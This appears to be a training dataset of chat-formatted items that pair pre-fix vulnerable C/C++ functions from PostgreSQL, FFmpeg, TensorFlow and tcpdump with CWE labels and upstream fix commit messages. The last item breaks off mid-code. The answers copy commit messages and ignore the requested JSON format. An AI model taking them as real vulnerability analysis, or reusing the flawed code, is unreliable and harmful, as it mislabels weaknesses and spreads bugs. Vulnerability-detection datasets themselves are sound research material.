<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: CreateStatistics(CreateStatsStmt *stmt) { int16 attnums[STATS_MAX_DIMENSIONS]; int numcols = 0; char *namestr; NameData stxname; Oid statoid; Oid namespaceId; Oid stxowner = GetUserId(); HeapTuple htup; Datum values[Natts_pg_statistic_ext]; bool nulls[Natts_pg_statistic_ext]; int2vector *stxkeys; Relation statrel; Relation rel = NULL; Oid relid; ObjectAddress parentobject, myself; Datum types[2]; /* one for each possible type of statistic */ int ntypes; ArrayType *stxkind; bool build_ndistinct; bool build_dependencies; bool requested_type = false; int i; ListCell *cell; Assert(IsA(stmt, CreateStatsStmt)); /* * Examine the FROM clause. Currently, we only allow it to be a single * simple table, but later we'll probably allow multiple tables and JOIN * syntax. The grammar is already prepared for that, so we have to check * here that what we got is what we can support. */ if (list_length(stmt->relations) != 1) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("only a single relation is allowed in CREATE STATISTICS"))); foreach(cell, stmt->relations) { Node *rln = (Node *) lfirst(cell); if (!IsA(rln, RangeVar)) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("only a single relation is allowed in CREATE STATISTICS"))); /* * CREATE STATISTICS will influence future execution plans but does * not interfere with currently executing plans. So it should be * enough to take only ShareUpdateExclusiveLock on relation, * conflicting with ANALYZE and other DDL that sets statistical * information, but not with normal queries. */ rel = relation_openrv((RangeVar *) rln, ShareUpdateExclusiveLock); /* Restrict to allowed relation types */ if (rel->rd_rel->relkind != RELKIND_RELATION && rel->rd_rel->relkind != RELKIND_MATVIEW && rel->rd_rel->relkind != RELKIND_FOREIGN_TABLE && rel->rd_rel->relkind != RELKIND_PARTITIONED_TABLE) ereport(ERROR, (errcode(ERRCODE_WRONG_OBJECT_TYPE), errmsg("relation \"%s\" is not a table, foreign table, or materialized view", RelationGetRelationName(rel)))); /* You must own the relation to create stats on it */ if (!pg_class_ownercheck(RelationGetRelid(rel), stxowner)) aclcheck_error(ACLCHECK_NOT_OWNER, get_relkind_objtype(rel->rd_rel->relkind), RelationGetRelationName(rel)); /* Creating statistics on system catalogs is not allowed */ if (!allowSystemTableMods && IsSystemRelation(rel)) ereport(ERROR, (errcode(ERRCODE_INSUFFICIENT_PRIVILEGE), errmsg("permission denied: \"%s\" is a system catalog", RelationGetRelationName(rel)))); } Assert(rel); relid = RelationGetRelid(rel); /* * If the node has a name, split it up and determine creation namespace. * If not (a possibility not considered by the grammar, but one which can * occur via the "CREATE TABLE ... (LIKE)" command), then we put the * object in the same namespace as the relation, and cons up a name for * it. */ if (stmt->defnames) namespaceId = QualifiedNameGetCreationNamespace(stmt->defnames, &namestr); else { namespaceId = RelationGetNamespace(rel); namestr = ChooseExtendedStatisticName(RelationGetRelationName(rel), ChooseExtendedStatisticNameAddition(stmt->exprs), "stat", namespaceId); } namestrcpy(&stxname, namestr); /* * Deal with the possibility that the statistics object already exists. */ if (SearchSysCacheExists2(STATEXTNAMENSP, CStringGetDatum(namestr), ObjectIdGetDatum(namespaceId))) { if (stmt->if_not_exists) { ereport(NOTICE, (errcode(ERRCODE_DUPLICATE_OBJECT), errmsg("statistics object \"%s\" already exists, skipping", namestr))); relation_close(rel, NoLock); return InvalidObjectAddress; } ereport(ERROR, (errcode(ERRCODE_DUPLICATE_OBJECT), errmsg("statistics object \"%s\" already exists", namestr))); } /* * Currently, we only allow simple column references in the expression * list. That will change someday, and again the grammar already supports * it so we have to enforce restrictions here. For now, we can convert * the expression list to a simple array of attnums. While at it, enforce * some constraints. */ foreach(cell, stmt->exprs) { Node *expr = (Node *) lfirst(cell); ColumnRef *cref; char *attname; HeapTuple atttuple; Form_pg_attribute attForm; TypeCacheEntry *type; if (!IsA(expr, ColumnRef)) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("only simple column references are allowed in CREATE STATISTICS"))); cref = (ColumnRef *) expr; if (list_length(cref->fields) != 1) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("only simple column references are allowed in CREATE STATISTICS"))); attname = strVal((Value *) linitial(cref->fields)); atttuple = SearchSysCacheAttName(relid, attname); if (!HeapTupleIsValid(atttuple)) ereport(ERROR, (errcode(ERRCODE_UNDEFINED_COLUMN), errmsg("column \"%s\" does not exist", attname))); attForm = (Form_pg_attribute) GETSTRUCT(atttuple); /* Disallow use of system attributes in extended stats */ if (attForm->attnum <= 0) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("statistics creation on system columns is not supported"))); /* Disallow data types without a less-than operator */ type = lookup_type_cache(attForm->atttypid, TYPECACHE_LT_OPR); if (type->lt_opr == InvalidOid) ereport(ERROR, (errcode(ERRCODE_FEATURE_NOT_SUPPORTED), errmsg("column \"%s\" cannot be used in statistics because its type %s has no default btree operator class", attname, format_type_be(attForm->atttypid)))); /* Make sure no more than STATS_MAX_DIMENSIONS columns are used */ if (numcols >= STATS_MAX_DIMENSIONS) ereport(ERROR, (errcode(ERRCODE_TOO_MANY_COLUMNS), errmsg("cannot have more than %d columns in statistics", STATS_MAX_DIMENSIONS))); attnums[numcols] = attForm->attnum; numcols++; ReleaseSysCache(atttuple); } /* * Check that at least two columns were specified in the statement. The * upper bound was already checked in the loop above. */ if (numcols < 2) ereport(ERROR, (errcode(ERRCODE_INVALID_OBJECT_DEFINITION), errmsg("extended statistics require at least 2 columns"))); /* * Sort the attnums, which makes detecting duplicates somewhat easier, and * it does not hurt (it does not affect the efficiency, unlike for * indexes, for example). */ qsort(attnums, numcols, sizeof(int16), compare_int16); /* * Check for duplicates in the list of columns. The attnums are sorted so * just check consecutive elements. */ for (i = 1; i < numcols; i++) { if (attnums[i] == attnums[i - 1]) ereport(ERROR, (errcode(ERRCODE_DUPLICATE_COLUMN), errmsg("duplicate column name in statistics definition"))); } /* Form an int2vector representation of the sorted column list */ stxkeys = buildint2vector(attnums, numcols); /* * Parse the statistics kinds. */ build_ndistinct = false; build_dependencies = false; foreach(cell, stmt->stat_types) { char *type = strVal((Value *) lfirst(cell)); if (strcmp(type, "ndistinct") == 0) { build_ndistinct = true; requested_type = true; } else if (strcmp(type, "dependencies") == 0) { build_dependencies = true; requested_type = true; } else ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("unrecognized statistics kind \"%s\"", type))); } /* If no statistic type was specified, build them all. */ if (!requested_type) { build_ndistinct = true; build_dependencies = true; } /* construct the char array of enabled statistic types */ ntypes = 0; if (build_ndistinct) types[ntypes++] = CharGetDatum(STATS_EXT_NDISTINCT); if (build_dependencies) types[ntypes++] = CharGetDatum(STATS_EXT_DEPENDENCIES); Assert(ntypes > 0 && ntypes <= lengthof(types)); stxkind = construct_array(types, ntypes, CHAROID, 1, true, 'c'); /* * Everything seems fine, so let's build the pg_statistic_ext tuple. */ memset(values, 0, sizeof(values)); memset(nulls, false, sizeof(nulls)); values[Anum_pg_statistic_ext_stxrelid - 1] = ObjectIdGetDatum(relid); values[Anum_pg_statistic_ext_stxname - 1] = NameGetDatum(&stxname); values[Anum_pg_statistic_ext_stxnamespace - 1] = ObjectIdGetDatum(namespaceId); values[Anum_pg_statistic_ext_stxowner - 1] = ObjectIdGetDatum(stxowner); values[Anum_pg_statistic_ext_stxkeys - 1] = PointerGetDatum(stxkeys); values[Anum_pg_statistic_ext_stxkind - 1] = PointerGetDatum(stxkind); /* no statistics built yet */ nulls[Anum_pg_statistic_ext_stxndistinct - 1] = true; nulls[Anum_pg_statistic_ext_stxdependencies - 1] = true; /* insert it into pg_statistic_ext */ statrel = heap_open(StatisticExtRelationId, RowExclusiveLock); htup = heap_form_tuple(statrel->rd_att, values, nulls); statoid = CatalogTupleInsert(statrel, htup); heap_freetuple(htup); relation_close(statrel, RowExclusiveLock); /* * Invalidate relcache so that others see the new statistics object. */ CacheInvalidateRelcache(rel); relation_close(rel, NoLock); /* * Add an AUTO dependency on each column used in the stats, so that the * stats object goes away if any or all of them get dropped. */ ObjectAddressSet(myself, StatisticExtRelationId, statoid); for (i = 0; i < numcols; i++) { ObjectAddressSubSet(parentobject, RelationRelationId, relid, attnums[i]); recordDependencyOn(&myself, &parentobject, DEPENDENCY_AUTO); } /* * Also add dependencies on namespace and owner. These are required * because the stats object might have a different namespace and/or owner * than the underlying table(s). */ ObjectAddressSet(parentobject, NamespaceRelationId, namespaceId); recordDependencyOn(&myself, &parentobject, DEPENDENCY_NORMAL); recordDependencyOnOwner(StatisticExtRelationId, statoid, stxowner); /* * XXX probably there should be a recordDependencyOnCurrentExtension call * here too, but we'd have to add support for ALTER EXTENSION ADD/DROP * STATISTICS, which is more work than it seems worth. */ /* Add any requested comment */ if (stmt->stxcomment != NULL) CreateComments(statoid, StatisticExtRelationId, 0, stmt->stxcomment); /* Return stats object's address */ return myself; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-94'], 'message': 'In extensions, don't replace objects not belonging to the extension. Previously, if an extension script did CREATE OR REPLACE and there was an existing object not belonging to the extension, it would overwrite the object and adopt it into the extension. This is problematic, first because the overwrite is probably unintentional, and second because we didn't change the object's ownership. Thus a hostile user could create an object in advance of an expected CREATE EXTENSION command, and would then have ownership rights on an extension object, which could be modified for trojan-horse-type attacks. Hence, forbid CREATE OR REPLACE of an existing object unless it already belongs to the extension. (Note that we've always forbidden replacing an object that belongs to some other extension; only the behavior for previously-free-standing objects changes here.) For the same reason, also fail CREATE IF NOT EXISTS when there is an existing object that doesn't belong to the extension. Our thanks to Sven Klemm for reporting this problem. Security: CVE-2022-2625'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int dwa_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { int64_t version, lo_usize, lo_size; int64_t ac_size, dc_size, rle_usize, rle_csize, rle_raw_size; int64_t ac_count, dc_count, ac_compression; const int dc_w = td->xsize >> 3; const int dc_h = td->ysize >> 3; GetByteContext gb, agb; int skip, ret; if (compressed_size <= 88) return AVERROR_INVALIDDATA; version = AV_RL64(src + 0); if (version != 2) return AVERROR_INVALIDDATA; lo_usize = AV_RL64(src + 8); lo_size = AV_RL64(src + 16); ac_size = AV_RL64(src + 24); dc_size = AV_RL64(src + 32); rle_csize = AV_RL64(src + 40); rle_usize = AV_RL64(src + 48); rle_raw_size = AV_RL64(src + 56); ac_count = AV_RL64(src + 64); dc_count = AV_RL64(src + 72); ac_compression = AV_RL64(src + 80); if (compressed_size < 88LL + lo_size + ac_size + dc_size + rle_csize) return AVERROR_INVALIDDATA; bytestream2_init(&gb, src + 88, compressed_size - 88); skip = bytestream2_get_le16(&gb); if (skip < 2) return AVERROR_INVALIDDATA; bytestream2_skip(&gb, skip - 2); if (lo_size > 0) { if (lo_usize > uncompressed_size) return AVERROR_INVALIDDATA; bytestream2_skip(&gb, lo_size); } if (ac_size > 0) { unsigned long dest_len = ac_count * 2LL; GetByteContext agb = gb; if (ac_count > 3LL * td->xsize * s->scan_lines_per_block) return AVERROR_INVALIDDATA; av_fast_padded_malloc(&td->ac_data, &td->ac_size, dest_len); if (!td->ac_data) return AVERROR(ENOMEM); switch (ac_compression) { case 0: ret = huf_uncompress(s, td, &agb, (int16_t *)td->ac_data, ac_count); if (ret < 0) return ret; break; case 1: if (uncompress(td->ac_data, &dest_len, agb.buffer, ac_size) != Z_OK || dest_len != ac_count * 2LL) return AVERROR_INVALIDDATA; break; default: return AVERROR_INVALIDDATA; } bytestream2_skip(&gb, ac_size); } if (dc_size > 0) { unsigned long dest_len = dc_count * 2LL; GetByteContext agb = gb; if (dc_count > (6LL * td->xsize * td->ysize + 63) / 64) return AVERROR_INVALIDDATA; av_fast_padded_malloc(&td->dc_data, &td->dc_size, FFALIGN(dest_len, 64) * 2); if (!td->dc_data) return AVERROR(ENOMEM); if (uncompress(td->dc_data + FFALIGN(dest_len, 64), &dest_len, agb.buffer, dc_size) != Z_OK || (dest_len != dc_count * 2LL)) return AVERROR_INVALIDDATA; s->dsp.predictor(td->dc_data + FFALIGN(dest_len, 64), dest_len); s->dsp.reorder_pixels(td->dc_data, td->dc_data + FFALIGN(dest_len, 64), dest_len); bytestream2_skip(&gb, dc_size); } if (rle_raw_size > 0 && rle_csize > 0 && rle_usize > 0) { unsigned long dest_len = rle_usize; av_fast_padded_malloc(&td->rle_data, &td->rle_size, rle_usize); if (!td->rle_data) return AVERROR(ENOMEM); av_fast_padded_malloc(&td->rle_raw_data, &td->rle_raw_size, rle_raw_size); if (!td->rle_raw_data) return AVERROR(ENOMEM); if (uncompress(td->rle_data, &dest_len, gb.buffer, rle_csize) != Z_OK || (dest_len != rle_usize)) return AVERROR_INVALIDDATA; ret = rle(td->rle_raw_data, td->rle_data, rle_usize, rle_raw_size); if (ret < 0) return ret; bytestream2_skip(&gb, rle_csize); } bytestream2_init(&agb, td->ac_data, ac_count * 2); for (int y = 0; y < td->ysize; y += 8) { for (int x = 0; x < td->xsize; x += 8) { memset(td->block, 0, sizeof(td->block)); for (int j = 0; j < 3; j++) { float *block = td->block[j]; const int idx = (x >> 3) + (y >> 3) * dc_w + dc_w * dc_h * j; uint16_t *dc = (uint16_t *)td->dc_data; union av_intfloat32 dc_val; dc_val.i = half2float(dc[idx], s->mantissatable, s->exponenttable, s->offsettable); block[0] = dc_val.f; ac_uncompress(s, &agb, block); dct_inverse(block); } { const float scale = s->pixel_type == EXR_FLOAT ? 2.f : 1.f; const int o = s->nb_channels == 4; float *bo = ((float *)td->uncompressed_data) + y * td->xsize * s->nb_channels + td->xsize * (o + 0) + x; float *go = ((float *)td->uncompressed_data) + y * td->xsize * s->nb_channels + td->xsize * (o + 1) + x; float *ro = ((float *)td->uncompressed_data) + y * td->xsize * s->nb_channels + td->xsize * (o + 2) + x; float *yb = td->block[0]; float *ub = td->block[1]; float *vb = td->block[2]; for (int yy = 0; yy < 8; yy++) { for (int xx = 0; xx < 8; xx++) { const int idx = xx + yy * 8; convert(yb[idx], ub[idx], vb[idx], &bo[xx], &go[xx], &ro[xx]); bo[xx] = to_linear(bo[xx], scale); go[xx] = to_linear(go[xx], scale); ro[xx] = to_linear(ro[xx], scale); } bo += td->xsize * s->nb_channels; go += td->xsize * s->nb_channels; ro += td->xsize * s->nb_channels; } } } } if (s->nb_channels < 4) return 0; for (int y = 0; y < td->ysize && td->rle_raw_data; y++) { uint32_t *ao = ((uint32_t *)td->uncompressed_data) + y * td->xsize * s->nb_channels; uint8_t *ai0 = td->rle_raw_data + y * td->xsize; uint8_t *ai1 = td->rle_raw_data + y * td->xsize + rle_raw_size / 2; for (int x = 0; x < td->xsize; x++) { uint16_t ha = ai0[x] | (ai1[x] << 8); ao[x] = half2float(ha, s->mantissatable, s->exponenttable, s->offsettable); } } return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-20', 'CWE-129'], 'message': 'avcodec/exr: More strictly check dc_count Fixes: out of array access Fixes: exr/deneme Found-by: Burak Çarıkçı <burakcarikci@crypttech.com> Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void Compute(OpKernelContext* const context) override { // node_id_range const Tensor* node_id_range_t; OP_REQUIRES_OK(context, context->input("node_id_range", &node_id_range_t)); OP_REQUIRES( context, node_id_range_t->NumElements() == 2, errors::InvalidArgument("node_id_range argument must have shape [2]")); const auto node_id_range = node_id_range_t->vec<int32>(); const int32_t node_id_first = node_id_range(0); // inclusive const int32_t node_id_last = node_id_range(1); // exclusive const Tensor* stats_summary_t; OP_REQUIRES_OK(context, context->input("stats_summary", &stats_summary_t)); OP_REQUIRES( context, stats_summary_t->shape().dims() == 4, errors::InvalidArgument("stats_summary argument must have rank 4")); TTypes<float, 4>::ConstTensor stats_summary = stats_summary_t->tensor<float, 4>(); const int32_t feature_dims = stats_summary_t->dim_size(1); // The last bucket is for default/missing value. const int32_t num_buckets = stats_summary_t->dim_size(2) - 1; const int32_t logits_dim = logits_dim_; const int32_t hessian_dim = stats_summary_t->dim_size(3) - logits_dim; DCHECK_GT(hessian_dim, 0); DCHECK_LE(hessian_dim, logits_dim * logits_dim); const Tensor* l1_t; OP_REQUIRES_OK(context, context->input("l1", &l1_t)); OP_REQUIRES(context, l1_t->NumElements() == 1, errors::InvalidArgument("l1 argument must be a scalar")); const auto l1 = l1_t->scalar<float>()(); DCHECK_GE(l1, 0); if (logits_dim_ > 1) { // Multi-class L1 regularization not supported yet. DCHECK_EQ(l1, 0); } const Tensor* l2_t; OP_REQUIRES_OK(context, context->input("l2", &l2_t)); OP_REQUIRES(context, l2_t->NumElements() == 1, errors::InvalidArgument("l2 argument must be a scalar")); const auto l2 = l2_t->scalar<float>()(); DCHECK_GE(l2, 0); const Tensor* tree_complexity_t; OP_REQUIRES_OK(context, context->input("tree_complexity", &tree_complexity_t)); OP_REQUIRES( context, tree_complexity_t->NumElements() == 1, errors::InvalidArgument("tree_complexity argument must be a scalar")); const auto tree_complexity = tree_complexity_t->scalar<float>()(); const Tensor* min_node_weight_t; OP_REQUIRES_OK(context, context->input("min_node_weight", &min_node_weight_t)); OP_REQUIRES( context, min_node_weight_t->NumElements() == 1, errors::InvalidArgument("min_node_weight argument must be a scalar")); const auto min_node_weight = min_node_weight_t->scalar<float>()(); std::vector<int32> output_node_ids; std::vector<float> output_gains; std::vector<int32> output_feature_dimensions; std::vector<int32> output_thresholds; std::vector<Eigen::VectorXf> output_left_node_contribs; std::vector<Eigen::VectorXf> output_right_node_contribs; std::vector<std::string> output_split_types; // TODO(tanzheny) parallelize the computation. // Iterate each node and find the best gain per node. for (int32_t node_id = node_id_first; node_id < node_id_last; ++node_id) { float best_gain = std::numeric_limits<float>::lowest(); int32_t best_bucket = 0; int32_t best_f_dim = 0; string best_split_type; Eigen::VectorXf best_contrib_for_left(logits_dim); Eigen::VectorXf best_contrib_for_right(logits_dim); float parent_gain; // Including default bucket. ConstMatrixMap stats_mat(&stats_summary(node_id, 0, 0, 0), num_buckets + 1, logits_dim + hessian_dim); const Eigen::VectorXf total_grad = stats_mat.leftCols(logits_dim).colwise().sum(); const Eigen::VectorXf total_hess = stats_mat.rightCols(hessian_dim).colwise().sum(); if (total_hess.norm() < min_node_weight) { continue; } Eigen::VectorXf parent_weight(logits_dim); CalculateWeightsAndGains(total_grad, total_hess, l1, l2, &parent_weight, &parent_gain); if (split_type_ == "inequality") { CalculateBestInequalitySplit( stats_summary, node_id, feature_dims, logits_dim, hessian_dim, num_buckets, min_node_weight, l1, l2, &best_gain, &best_bucket, &best_f_dim, &best_split_type, &best_contrib_for_left, &best_contrib_for_right); } else { CalculateBestEqualitySplit( stats_summary, total_grad, total_hess, node_id, feature_dims, logits_dim, hessian_dim, num_buckets, l1, l2, &best_gain, &best_bucket, &best_f_dim, &best_split_type, &best_contrib_for_left, &best_contrib_for_right); } if (best_gain == std::numeric_limits<float>::lowest()) { // Do not add the node if not split if found. continue; } output_node_ids.push_back(node_id); // Remove the parent gain for the parent node. output_gains.push_back(best_gain - parent_gain); output_feature_dimensions.push_back(best_f_dim); // default direction is fixed for dense splits. // TODO(tanzheny) account for default values. output_split_types.push_back(best_split_type); output_thresholds.push_back(best_bucket); output_left_node_contribs.push_back(best_contrib_for_left); output_right_node_contribs.push_back(best_contrib_for_right); } // for node id const int num_nodes = output_node_ids.size(); // output_node_ids Tensor* output_node_ids_t = nullptr; OP_REQUIRES_OK(context, context->allocate_output("node_ids", {num_nodes}, &output_node_ids_t)); auto output_node_ids_vec = output_node_ids_t->vec<int32>(); // output_gains Tensor* output_gains_t; OP_REQUIRES_OK(context, context->allocate_output("gains", {num_nodes}, &output_gains_t)); auto output_gains_vec = output_gains_t->vec<float>(); // output_feature_dimensions Tensor* output_feature_dimension_t; OP_REQUIRES_OK(context, context->allocate_output("feature_dimensions", {num_nodes}, &output_feature_dimension_t)); auto output_feature_dimensions_vec = output_feature_dimension_t->vec<int32>(); // output_thresholds Tensor* output_thresholds_t; OP_REQUIRES_OK(context, context->allocate_output("thresholds", {num_nodes}, &output_thresholds_t)); auto output_thresholds_vec = output_thresholds_t->vec<int32>(); // output_left_node_contribs Tensor* output_left_node_contribs_t; OP_REQUIRES_OK(context, context->allocate_output( "left_node_contribs", {num_nodes, logits_dim}, &output_left_node_contribs_t)); auto output_left_node_contribs_matrix = output_left_node_contribs_t->matrix<float>(); // output_right_node_contribs Tensor* output_right_node_contribs_t; OP_REQUIRES_OK(context, context->allocate_output( "right_node_contribs", {num_nodes, logits_dim}, &output_right_node_contribs_t)); auto output_right_node_contribs_matrix = output_right_node_contribs_t->matrix<float>(); // split type Tensor* output_split_types_t; OP_REQUIRES_OK( context, context->allocate_output("split_with_default_directions", {num_nodes}, &output_split_types_t)); auto output_split_types_vec = output_split_types_t->vec<tstring>(); // Sets output tensors from vectors. for (int i = 0; i < num_nodes; ++i) { output_node_ids_vec(i) = output_node_ids[i]; // Adjust the gains to penalize by tree complexity. output_gains_vec(i) = output_gains[i] - tree_complexity; output_feature_dimensions_vec(i) = output_feature_dimensions[i]; output_thresholds_vec(i) = output_thresholds[i]; for (int j = 0; j < logits_dim; ++j) { output_left_node_contribs_matrix(i, j) = output_left_node_contribs[i][j]; output_right_node_contribs_matrix(i, j) = output_right_node_contribs[i][j]; } output_split_types_vec(i) = output_split_types[i]; } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-476', 'CWE-369'], 'message': 'Fixing security fixes in boosted trees ops PiperOrigin-RevId: 405669548 Change-Id: Iae224d240d1779bcc02405c2fff99785644fbd0d'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: olsr_print(netdissect_options *ndo, const u_char *pptr, u_int length, int is_ipv6) { union { const struct olsr_common *common; const struct olsr_msg4 *msg4; const struct olsr_msg6 *msg6; const struct olsr_hello *hello; const struct olsr_hello_link *hello_link; const struct olsr_tc *tc; const struct olsr_hna4 *hna; } ptr; u_int msg_type, msg_len, msg_tlen, hello_len; uint16_t name_entry_type, name_entry_len; u_int name_entry_padding; uint8_t link_type, neighbor_type; const u_char *tptr, *msg_data; tptr = pptr; if (length < sizeof(struct olsr_common)) { goto trunc; } ND_TCHECK2(*tptr, sizeof(struct olsr_common)); ptr.common = (const struct olsr_common *)tptr; length = min(length, EXTRACT_16BITS(ptr.common->packet_len)); ND_PRINT((ndo, "OLSRv%i, seq 0x%04x, length %u", (is_ipv6 == 0) ? 4 : 6, EXTRACT_16BITS(ptr.common->packet_seq), length)); tptr += sizeof(struct olsr_common); /* * In non-verbose mode, just print version. */ if (ndo->ndo_vflag < 1) { return; } while (tptr < (pptr+length)) { union { const struct olsr_msg4 *v4; const struct olsr_msg6 *v6; } msgptr; int msg_len_valid = 0; ND_TCHECK2(*tptr, sizeof(struct olsr_msg4)); if (is_ipv6) { msgptr.v6 = (const struct olsr_msg6 *) tptr; msg_type = msgptr.v6->msg_type; msg_len = EXTRACT_16BITS(msgptr.v6->msg_len); if ((msg_len >= sizeof (struct olsr_msg6)) && (msg_len <= length)) msg_len_valid = 1; /* infinite loop check */ if (msg_type == 0 || msg_len == 0) { return; } ND_PRINT((ndo, "\n\t%s Message (%#04x), originator %s, ttl %u, hop %u" "\n\t vtime %.3fs, msg-seq 0x%04x, length %u%s", tok2str(olsr_msg_values, "Unknown", msg_type), msg_type, ip6addr_string(ndo, msgptr.v6->originator), msgptr.v6->ttl, msgptr.v6->hopcount, ME_TO_DOUBLE(msgptr.v6->vtime), EXTRACT_16BITS(msgptr.v6->msg_seq), msg_len, (msg_len_valid == 0) ? " (invalid)" : "")); if (!msg_len_valid) { return; } msg_tlen = msg_len - sizeof(struct olsr_msg6); msg_data = tptr + sizeof(struct olsr_msg6); } else /* (!is_ipv6) */ { msgptr.v4 = (const struct olsr_msg4 *) tptr; msg_type = msgptr.v4->msg_type; msg_len = EXTRACT_16BITS(msgptr.v4->msg_len); if ((msg_len >= sizeof (struct olsr_msg4)) && (msg_len <= length)) msg_len_valid = 1; /* infinite loop check */ if (msg_type == 0 || msg_len == 0) { return; } ND_PRINT((ndo, "\n\t%s Message (%#04x), originator %s, ttl %u, hop %u" "\n\t vtime %.3fs, msg-seq 0x%04x, length %u%s", tok2str(olsr_msg_values, "Unknown", msg_type), msg_type, ipaddr_string(ndo, msgptr.v4->originator), msgptr.v4->ttl, msgptr.v4->hopcount, ME_TO_DOUBLE(msgptr.v4->vtime), EXTRACT_16BITS(msgptr.v4->msg_seq), msg_len, (msg_len_valid == 0) ? " (invalid)" : "")); if (!msg_len_valid) { return; } msg_tlen = msg_len - sizeof(struct olsr_msg4); msg_data = tptr + sizeof(struct olsr_msg4); } switch (msg_type) { case OLSR_HELLO_MSG: case OLSR_HELLO_LQ_MSG: if (msg_tlen < sizeof(struct olsr_hello)) goto trunc; ND_TCHECK2(*msg_data, sizeof(struct olsr_hello)); ptr.hello = (const struct olsr_hello *)msg_data; ND_PRINT((ndo, "\n\t hello-time %.3fs, MPR willingness %u", ME_TO_DOUBLE(ptr.hello->htime), ptr.hello->will)); msg_data += sizeof(struct olsr_hello); msg_tlen -= sizeof(struct olsr_hello); while (msg_tlen >= sizeof(struct olsr_hello_link)) { int hello_len_valid = 0; /* * link-type. */ ND_TCHECK2(*msg_data, sizeof(struct olsr_hello_link)); ptr.hello_link = (const struct olsr_hello_link *)msg_data; hello_len = EXTRACT_16BITS(ptr.hello_link->len); link_type = OLSR_EXTRACT_LINK_TYPE(ptr.hello_link->link_code); neighbor_type = OLSR_EXTRACT_NEIGHBOR_TYPE(ptr.hello_link->link_code); if ((hello_len <= msg_tlen) && (hello_len >= sizeof(struct olsr_hello_link))) hello_len_valid = 1; ND_PRINT((ndo, "\n\t link-type %s, neighbor-type %s, len %u%s", tok2str(olsr_link_type_values, "Unknown", link_type), tok2str(olsr_neighbor_type_values, "Unknown", neighbor_type), hello_len, (hello_len_valid == 0) ? " (invalid)" : "")); if (hello_len_valid == 0) break; msg_data += sizeof(struct olsr_hello_link); msg_tlen -= sizeof(struct olsr_hello_link); hello_len -= sizeof(struct olsr_hello_link); ND_TCHECK2(*msg_data, hello_len); if (msg_type == OLSR_HELLO_MSG) { if (olsr_print_neighbor(ndo, msg_data, hello_len) == -1) goto trunc; } else { if (is_ipv6) { if (olsr_print_lq_neighbor6(ndo, msg_data, hello_len) == -1) goto trunc; } else { if (olsr_print_lq_neighbor4(ndo, msg_data, hello_len) == -1) goto trunc; } } msg_data += hello_len; msg_tlen -= hello_len; } break; case OLSR_TC_MSG: case OLSR_TC_LQ_MSG: if (msg_tlen < sizeof(struct olsr_tc)) goto trunc; ND_TCHECK2(*msg_data, sizeof(struct olsr_tc)); ptr.tc = (const struct olsr_tc *)msg_data; ND_PRINT((ndo, "\n\t advertised neighbor seq 0x%04x", EXTRACT_16BITS(ptr.tc->ans_seq))); msg_data += sizeof(struct olsr_tc); msg_tlen -= sizeof(struct olsr_tc); if (msg_type == OLSR_TC_MSG) { if (olsr_print_neighbor(ndo, msg_data, msg_tlen) == -1) goto trunc; } else { if (is_ipv6) { if (olsr_print_lq_neighbor6(ndo, msg_data, msg_tlen) == -1) goto trunc; } else { if (olsr_print_lq_neighbor4(ndo, msg_data, msg_tlen) == -1) goto trunc; } } break; case OLSR_MID_MSG: { size_t addr_size = sizeof(struct in_addr); if (is_ipv6) addr_size = sizeof(struct in6_addr); while (msg_tlen >= addr_size) { ND_TCHECK2(*msg_data, addr_size); ND_PRINT((ndo, "\n\t interface address %s", is_ipv6 ? ip6addr_string(ndo, msg_data) : ipaddr_string(ndo, msg_data))); msg_data += addr_size; msg_tlen -= addr_size; } break; } case OLSR_HNA_MSG: if (is_ipv6) { int i = 0; ND_PRINT((ndo, "\n\t Advertised networks (total %u)", (unsigned int) (msg_tlen / sizeof(struct olsr_hna6)))); while (msg_tlen >= sizeof(struct olsr_hna6)) { const struct olsr_hna6 *hna6; ND_TCHECK2(*msg_data, sizeof(struct olsr_hna6)); hna6 = (const struct olsr_hna6 *)msg_data; ND_PRINT((ndo, "\n\t #%i: %s/%u", i, ip6addr_string(ndo, hna6->network), mask62plen (hna6->mask))); msg_data += sizeof(struct olsr_hna6); msg_tlen -= sizeof(struct olsr_hna6); } } else { int col = 0; ND_PRINT((ndo, "\n\t Advertised networks (total %u)", (unsigned int) (msg_tlen / sizeof(struct olsr_hna4)))); while (msg_tlen >= sizeof(struct olsr_hna4)) { ND_TCHECK2(*msg_data, sizeof(struct olsr_hna4)); ptr.hna = (const struct olsr_hna4 *)msg_data; /* print 4 prefixes per line */ if (!ptr.hna->network[0] && !ptr.hna->network[1] && !ptr.hna->network[2] && !ptr.hna->network[3] && !ptr.hna->mask[GW_HNA_PAD] && ptr.hna->mask[GW_HNA_FLAGS]) { /* smart gateway */ ND_PRINT((ndo, "%sSmart-Gateway:%s%s%s%s%s %u/%u", col == 0 ? "\n\t " : ", ", /* indent */ /* sgw */ /* LINKSPEED */ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_LINKSPEED) ? " LINKSPEED" : "", /* IPV4 */ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_IPV4) ? " IPV4" : "", /* IPV4-NAT 